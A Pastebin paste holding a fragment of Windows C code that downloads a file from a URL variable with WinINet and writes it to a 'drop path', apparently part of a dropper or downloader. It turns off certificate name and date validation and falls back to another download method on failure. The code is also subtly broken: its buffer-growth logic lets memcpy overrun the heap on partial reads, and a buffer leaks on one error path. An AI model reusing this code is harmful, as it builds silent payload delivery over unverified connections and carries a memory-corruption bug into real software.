captmicro

download to file

Jan 3rd, 2013
325
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.93 KB | None | 0 0
  1. //Download file
  2.     HINTERNET hSession = InternetOpenA(szUserAgent, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
  3.     if (hSession != 0)
  4.     {
  5.         HINTERNET hConn = InternetOpenUrlA(hSession, szRealDownloadUrl, 0, 0,
  6.             INTERNET_FLAG_NO_UI
  7.             | INTERNET_FLAG_NO_COOKIES
  8.             | INTERNET_FLAG_NO_CACHE_WRITE
  9.             | INTERNET_FLAG_IGNORE_CERT_CN_INVALID
  10.             | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
  11.             | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP
  12.             | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, 0);
  13.         if (hConn == 0) goto _DownloadWithUrlMon;
  14.  
  15.         PBYTE bDownloadBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 4096);
  16.         DWORD dwBytesRead = 0, dwLastError = 0, dwCurrBufIdx = 0, dwCurrBufSize = 4096;
  17.         PBYTE bTempBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 4096);
  18.  
  19.         do
  20.         {
  21.             if (!InternetReadFile(hConn, bTempBuffer, 4096, &dwBytesRead))
  22.             {
  23.                 dwLastError = GetLastError();
  24.                 if (dwLastError != ERROR_SUCCESS)
  25.                 {
  26.                     HeapFree(GetProcessHeap(), 0, bDownloadBuffer);
  27.                     InternetCloseHandle(hConn);
  28.                     goto _DownloadWithUrlMon;
  29.                 }
  30.             }
  31.             if (dwBytesRead > 0)
  32.             {
  33.                 if (dwCurrBufIdx >= dwCurrBufSize)
  34.                 {
  35.                     bDownloadBuffer = (PBYTE)HeapReAlloc(GetProcessHeap(),
  36.                         HEAP_ZERO_MEMORY, bDownloadBuffer, dwCurrBufSize + 4096);
  37.                     dwCurrBufSize += 4096;
  38.                 }
  39.                 memcpy(&bDownloadBuffer[dwCurrBufIdx], bTempBuffer, dwBytesRead);
  40.                 dwCurrBufIdx += dwBytesRead;
  41.             }
  42.         } while ((dwLastError == ERROR_SUCCESS) && (dwBytesRead > 0));
  43.  
  44.         HeapFree(GetProcessHeap(), 0, bTempBuffer);
  45.         InternetCloseHandle(hConn);
  46.  
  47.         HANDLE hFile = CreateFileA(szDropPath, GENERIC_WRITE, FILE_SHARE_WRITE,
  48.             0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  49.         if (hFile == INVALID_HANDLE_VALUE)
  50.         {
  51.             HeapFree(GetProcessHeap(), 0, bDownloadBuffer);
  52.             goto _DownloadWithUrlMon;
  53.         }
  54.         WriteFile(hFile, bDownloadBuffer, dwCurrBufIdx, &dwBytesRead, 0);
  55.         CloseHandle(hFile);
  56.  
  57.         HeapFree(GetProcessHeap(), 0, bDownloadBuffer);
  58.     }
Add Comment
Please, Sign In to add comment